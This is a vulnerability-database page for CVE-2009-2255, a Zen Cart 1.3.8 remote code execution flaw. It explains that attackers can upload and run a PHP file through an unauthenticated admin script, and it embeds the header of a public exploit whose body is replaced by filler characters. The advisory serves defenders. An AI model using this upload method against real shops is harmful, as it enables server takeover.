CVE-2009-2255 : Detail

CVE-2009-2255

Authorization problems
A07-Identif. and Authent. Fail
31.22%V4
Network
2009-06-30
08h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Zen Cart 1.3.8a, 1.3.8, and earlier does not require administrative authentication for admin/record_company.php, which allows remote attackers to execute arbitrary code by uploading a .php file via the record_company_image parameter in conjunction with a PATH_INFO of password_forgotten.php, then accessing this file via a direct request to the file in images/.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS V0
EPSS V1
EPSS V2
EPSS V3
EPSS V4
60.0060.0050.0050.0040.0040.0030.0030.0020.0020.0010.0010.0015.61%15.61%32.77%30.71%30.71%30.71%57.39%31.22%Jul '22Jul '2220232023Jul '23Jul '2320242024Jul '24Jul '2420252025
Download SVG
Download PNG
Download CSV

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
9999989897979696959594949393929293%96%96%96%97%96%97%97%98%98%96%Jul '22Jul '2220232023Jul '23Jul '2320242024Jul '24Jul '2420252025
Download SVG
Download PNG
Download CSV
EPSS First.org

Exploit information

Exploit Database EDB-ID : 9004

Publication date : 2009-06-22 22h00 +00:00
Author : BlackH
EDB Verified : Yes

#!/usr/bin/php
<?php
#
# ------- Zen Cart 1.3.8 Remote Code Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#
error_reporting(E_ALL ^ E_NOTICE);
if($argc < 2)
{
echo "
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit ____________=
========================================================================
| BlackH <Bl4ck.H@gmail.com> |
========================================================================
| |
| \$system> php $argv[0] <url> |
| Notes: <url> ex: http://victim.com/site (no slash) |
 
הההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההההה
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Products Mentioned

Configuraton 0

Zen-cart>>Zen_cart >> Version To (including) 1.3.8a

Zen-cart>>Zen_cart >> Version 1.1.0

Zen-cart>>Zen_cart >> Version 1.1.3

Zen-cart>>Zen_cart >> Version 1.2.0d

Zen-cart>>Zen_cart >> Version 1.2.1d

Zen-cart>>Zen_cart >> Version 1.2.4d

Zen-cart>>Zen_cart >> Version 1.3.6

Zen-cart>>Zen_cart >> Version 1.3.7

Zen-cart>>Zen_cart >> Version 1.3.8

References

http://www.securityfocus.com/bid/35467
Tags : vdb-entry, x_refsource_BID
http://www.osvdb.org/55344
Tags : vdb-entry, x_refsource_OSVDB
http://www.exploit-db.com/exploits/9004
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/35550
Tags : third-party-advisory, x_refsource_SECUNIA